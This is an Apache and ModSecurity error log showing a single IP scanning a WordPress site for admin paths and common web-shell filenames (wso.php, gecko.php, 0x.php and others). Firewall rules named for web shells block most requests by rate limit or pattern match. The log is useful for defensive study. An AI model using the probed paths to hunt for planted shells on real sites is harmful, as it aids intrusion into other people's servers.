[Fri May 22 04:08:33.317292 2026] [:error] [pid 15584:tid 15632] [client 52.242.199.195:11297] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/"] [unique_id "ag9mQd9Z_TVLbNEx52hgHQAAAEw"]
[Fri May 22 04:08:35.176097 2026] [:error] [pid 15583:tid 15602] [client 52.242.199.195:29554] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/"] [unique_id "ag9mQ3naOncRcIm17YVf_QAAAA4"]
[Fri May 22 04:08:39.702661 2026] [:error] [pid 15584:tid 15635] [client 52.242.199.195:16474] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/"] [unique_id "ag9mR99Z_TVLbNEx52hgIQAAAE8"]
[Fri May 22 04:08:43.742929 2026] [:error] [pid 15584:tid 15637] [client 52.242.199.195:9842] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/"] [unique_id "ag9mS99Z_TVLbNEx52hgJAAAAFE"]
[Fri May 22 04:09:08.857886 2026] [:error] [pid 15583:tid 15597] [client 52.242.199.195:24840] File does not exist: /usr/local/apache/htdocs/suspended-page/gecko.php
[Fri May 22 04:09:09.265617 2026] [:error] [pid 15583:tid 15612] [client 52.242.199.195:24840] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Fri May 22 04:09:09.463554 2026] [:error] [pid 15583:tid 15605] [client 52.242.199.195:24840] File does not exist: /usr/local/apache/htdocs/suspended-page/0x.php
[Fri May 22 04:09:09.870073 2026] [:error] [pid 15583:tid 15608] [client 52.242.199.195:24840] File does not exist: /usr/local/apache/htdocs/suspended-page/cah.php
[Fri May 22 04:09:12.245353 2026] [:error] [pid 15583:tid 15603] [client 52.242.199.195:24840] File does not exist: /usr/local/apache/htdocs/suspended-page/system_log.php
[Fri May 22 04:09:12.647345 2026] [:error] [pid 15583:tid 15595] [client 52.242.199.195:24840] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/user/index.php"] [unique_id "ag9maHnaOncRcIm17YVgHgAAAAc"]
[Fri May 22 04:09:16.776924 2026] [:error] [pid 15584:tid 15640] [client 52.242.199.195:8215] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/user/index.php"] [unique_id "ag9mbN9Z_TVLbNEx52hgTwAAAFQ"]
[Fri May 22 04:09:21.634541 2026] [:error] [pid 15583:tid 15597] [client 52.242.199.195:2233] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/user/index.php"] [unique_id "ag9mcXnaOncRcIm17YVgKAAAAAk"]
[Fri May 22 04:09:37.440378 2026] [:error] [pid 15585:tid 15665] [client 52.242.199.195:29284] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "ag9mgSKb-vB41AF-LC0f2QAAAJI"]
[Fri May 22 04:09:40.403788 2026] [:error] [pid 15679:tid 15686] [client 52.242.199.195:30079] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "ag9mhCh8tgGc38WJ-GxG9QAAAMU"]
[Fri May 22 04:09:43.354501 2026] [:error] [pid 15584:tid 15631] [client 52.242.199.195:8985] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "ag9mh99Z_TVLbNEx52hgaAAAAEs"]
[Fri May 22 04:09:46.318444 2026] [:error] [pid 15585:tid 15670] [client 52.242.199.195:65443] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "ag9miiKb-vB41AF-LC0f6QAAAJc"]
[Fri May 22 04:09:49.477449 2026] [:error] [pid 15679:tid 15691] [client 52.242.199.195:12364] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abc.php"] [unique_id "ag9mjSh8tgGc38WJ-GxHIgAAAMo"]
[Fri May 22 04:09:57.146722 2026] [:error] [pid 15679:tid 15696] [client 52.242.199.195:3847] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abc.php"] [unique_id "ag9mlSh8tgGc38WJ-GxHNwAAAM8"]
[Fri May 22 04:10:00.687845 2026] [:error] [pid 15679:tid 15703] [client 52.242.199.195:64539] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abc.php"] [unique_id "ag9mmCh8tgGc38WJ-GxHRgAAANY"]
[Fri May 22 04:10:08.772130 2026] [:error] [pid 15584:tid 15622] [client 52.242.199.195:3877] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/akcc.php"] [unique_id "ag9moN9Z_TVLbNEx52hgcwAAAEI"]
[Fri May 22 04:10:12.597196 2026] [:error] [pid 15583:tid 15605] [client 52.242.199.195:3825] File does not exist: /usr/local/apache/htdocs/suspended-page/akcc.php
[Fri May 22 04:10:13.068741 2026] [:error] [pid 15583:tid 15612] [client 52.242.199.195:3825] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Fri May 22 04:10:13.742265 2026] [:error] [pid 15583:tid 15596] [client 52.242.199.195:3825] File does not exist: /usr/local/apache/htdocs/suspended-page/as.php
[Fri May 22 04:10:14.958601 2026] [:error] [pid 15583:tid 15608] [client 52.242.199.195:3825] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-config-sample.php
[Fri May 22 04:10:15.169792 2026] [:error] [pid 15583:tid 15601] [client 52.242.199.195:3825] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php
[Fri May 22 04:10:15.379218 2026] [:error] [pid 15583:tid 15590] [client 52.242.199.195:3825] [client 52.242.199.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/shortcode/index.php"] [unique_id "ag9mp3naOncRcIm17YVgTAAAAAI"]
[Fri May 22 04:10:20.325593 2026] [:error] [pid 15585:tid 15656] [client 52.242.199.195:11502] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/an.php"] [unique_id "ag9mrCKb-vB41AF-LC0gBgAAAIk"]
[Fri May 22 04:10:23.012634 2026] [:error] [pid 15583:tid 15603] [client 52.242.199.195:11993] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/an.php"] [unique_id "ag9mr3naOncRcIm17YVgTgAAAA8"]
[Fri May 22 04:10:27.929328 2026] [:error] [pid 15679:tid 15687] [client 52.242.199.195:12308] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/an.php"] [unique_id "ag9msyh8tgGc38WJ-GxHcQAAAMY"]
[Fri May 22 04:10:39.048693 2026] [:error] [pid 15585:tid 15648] [client 52.242.199.195:11341] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/"] [unique_id "ag9mvyKb-vB41AF-LC0gEgAAAIE"]
[Fri May 22 04:10:44.354838 2026] [:error] [pid 15679:tid 15702] [client 52.242.199.195:30392] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/"] [unique_id "ag9mxCh8tgGc38WJ-GxHiQAAANU"]
[Fri May 22 04:10:49.415198 2026] [:error] [pid 15679:tid 15705] [client 52.242.199.195:11856] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/"] [unique_id "ag9mySh8tgGc38WJ-GxHkAAAANg"]
[Fri May 22 04:10:59.893072 2026] [:error] [pid 15679:tid 15696] [client 52.242.199.195:11885] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/404.php"] [unique_id "ag9m0yh8tgGc38WJ-GxHnwAAAM8"]
[Fri May 22 04:11:05.985593 2026] [:error] [pid 15585:tid 15648] [client 52.242.199.195:1212] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/404.php"] [unique_id "ag9m2SKb-vB41AF-LC0gOgAAAIE"]
[Fri May 22 04:11:16.862002 2026] [:error] [pid 15585:tid 15667] [client 52.242.199.195:3366] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "ag9m5CKb-vB41AF-LC0gSwAAAJQ"]
[Fri May 22 04:11:21.544209 2026] [:error] [pid 15583:tid 15590] [client 52.242.199.195:3354] [client 52.242.199.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.242.199.195, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "ag9m6XnaOncRcIm17YVgeQAAAAI"]
[Fri May 22 04:11:21.547979 2026] [:error] [pid 15583:tid 15590] [client 52.242.199.195:3354] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Fri May 22 04:11:25.848051 2026] [:error] [pid 15583:tid 15600] [client 52.242.199.195:3354] File does not exist: /usr/local/apache/htdocs/suspended-page/wso.php
[Fri May 22 04:11:26.063626 2026] [:error] [pid 15583:tid 15605] [client 52.242.199.195:3354] File does not exist: /usr/local/apache/htdocs/suspended-page/sf.php
[Fri May 22 04:11:26.501279 2026] [:error] [pid 15583:tid 15612] [client 52.242.199.195:3354] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Fri May 22 04:11:27.228824 2026] [:error] [pid 15583:tid 15606] [client 52.242.199.195:3354] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-good.php
[Fri May 22 04:11:27.457702 2026] [:error] [pid 15583:tid 15607] [client 52.242.199.195:3354] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/widgets/"] [unique_id "ag9m73naOncRcIm17YVgigAAABM"]
[Fri May 22 04:11:37.096600 2026] [:error] [pid 15584:tid 15641] [client 52.242.199.195:8774] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/widgets/"] [unique_id "ag9m-d9Z_TVLbNEx52hg5wAAAFU"]
[Fri May 22 04:11:51.711826 2026] [:error] [pid 15679:tid 15688] [client 52.242.199.195:11416] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/midnight/"] [unique_id "ag9nByh8tgGc38WJ-GxH_AAAAMc"]
[Fri May 22 04:12:00.885909 2026] [:error] [pid 15585:tid 15663] [client 52.242.199.195:9975] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/midnight/"] [unique_id "ag9nECKb-vB41AF-LC0glgAAAJA"]
[Fri May 22 04:12:02.768532 2026] [:error] [pid 15583:tid 15601] [client 52.242.199.195:29196] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tes.php"] [unique_id "ag9nEnnaOncRcIm17YVgpgAAAA0"]
[Fri May 22 04:12:08.458463 2026] [:error] [pid 15585:tid 15650] [client 52.242.199.195:62892] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tes.php"] [unique_id "ag9nGCKb-vB41AF-LC0gpQAAAIM"]
[Fri May 22 04:12:12.868077 2026] [:error] [pid 15583:tid 15588] [client 52.242.199.195:16137] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tes.php"] [unique_id "ag9nHHnaOncRcIm17YVgqgAAAAA"]
[Fri May 22 04:12:19.438808 2026] [:error] [pid 15679:tid 15702] [client 52.242.199.195:62887] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/files/index.php"] [unique_id "ag9nIyh8tgGc38WJ-GxINgAAANU"]
[Fri May 22 04:12:25.615158 2026] [:error] [pid 15584:tid 15628] [client 52.242.199.195:7823] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/files/index.php"] [unique_id "ag9nKd9Z_TVLbNEx52hhEgAAAEg"]
[Fri May 22 04:12:32.627427 2026] [:error] [pid 15584:tid 15624] [client 52.242.199.195:22457] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-edit.php
[Fri May 22 04:12:32.818729 2026] [:error] [pid 15584:tid 15623] [client 52.242.199.195:22457] File does not exist: /usr/local/apache/htdocs/suspended-page/rip.php
[Fri May 22 04:12:33.208763 2026] [:error] [pid 15584:tid 15644] [client 52.242.199.195:22457] [client 52.242.199.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.242.199.195, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "ag9nMd9Z_TVLbNEx52hhJgAAAFg"]
[Fri May 22 04:12:33.212882 2026] [:error] [pid 15584:tid 15644] [client 52.242.199.195:22457] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Fri May 22 04:12:33.417671 2026] [:error] [pid 15584:tid 15635] [client 52.242.199.195:22457] File does not exist: /usr/local/apache/htdocs/suspended-page/cache.php
[Fri May 22 04:12:34.022480 2026] [:error] [pid 15584:tid 15639] [client 52.242.199.195:22457] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Fri May 22 04:12:34.238976 2026] [:error] [pid 15584:tid 15625] [client 52.242.199.195:22457] [client 52.242.199.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "ag9nMt9Z_TVLbNEx52hhKwAAAEU"]
[Fri May 22 04:12:37.337153 2026] [:error] [pid 15583:tid 15611] [client 52.242.199.195:12201] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/crop/"] [unique_id "ag9nNXnaOncRcIm17YVgxwAAABc"]
[Fri May 22 04:12:41.232351 2026] [:error] [pid 15584:tid 15644] [client 52.242.199.195:12266] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/crop/"] [unique_id "ag9nOd9Z_TVLbNEx52hhNAAAAFg"]
[Fri May 22 04:12:43.492189 2026] [:error] [pid 15585:tid 15649] [client 52.242.199.195:62363] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/crop/"] [unique_id "ag9nOyKb-vB41AF-LC0g0QAAAII"]
[Fri May 22 04:12:48.450632 2026] [:error] [pid 15583:tid 15592] [client 52.242.199.195:1348] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/crop/"] [unique_id "ag9nQHnaOncRcIm17YVg4AAAAAQ"]
[Fri May 22 04:12:53.608723 2026] [:error] [pid 15679:tid 15688] [client 52.242.199.195:29454] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-mail.php"] [unique_id "ag9nRSh8tgGc38WJ-GxIcAAAAMc"]
[Fri May 22 04:12:56.181272 2026] [:error] [pid 15585:tid 15665] [client 52.242.199.195:11592] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-mail.php"] [unique_id "ag9nSCKb-vB41AF-LC0g0wAAAJI"]
[Fri May 22 04:13:02.973411 2026] [:error] [pid 15679:tid 15702] [client 52.242.199.195:3584] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-mail.php"] [unique_id "ag9nTih8tgGc38WJ-GxIhgAAANU"]
[Fri May 22 04:13:06.994937 2026] [:error] [pid 15583:tid 15605] [client 52.242.199.195:11544] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/o.php"] [unique_id "ag9nUnnaOncRcIm17YVg8gAAABE"]
[Fri May 22 04:13:14.372998 2026] [:error] [pid 15584:tid 15625] [client 52.242.199.195:63235] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/o.php"] [unique_id "ag9nWt9Z_TVLbNEx52hhVAAAAEU"]
[Fri May 22 04:13:23.476807 2026] [:error] [pid 15584:tid 15620] [client 52.242.199.195:8074] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/o.php"] [unique_id "ag9nY99Z_TVLbNEx52hhYgAAAEA"]
[Fri May 22 04:13:27.549139 2026] [:error] [pid 15583:tid 15596] [client 52.242.199.195:9365] [client 52.242.199.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bb.php"] [unique_id "ag9nZ3naOncRcIm17YVg_wAAAAg"]
[Fri May 22 04:13:34.046765 2026] [:error] [pid 15584:tid 15627] [client 52.242.199.195:3166] File does not exist: /usr/local/apache/htdocs/suspended-page/bb.php
[Fri May 22 04:13:34.652688 2026] [:error] [pid 15584:tid 15640] [client 52.242.199.195:3166] [client 52.242.199.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "ag9nbt9Z_TVLbNEx52hhfAAAAFQ"]
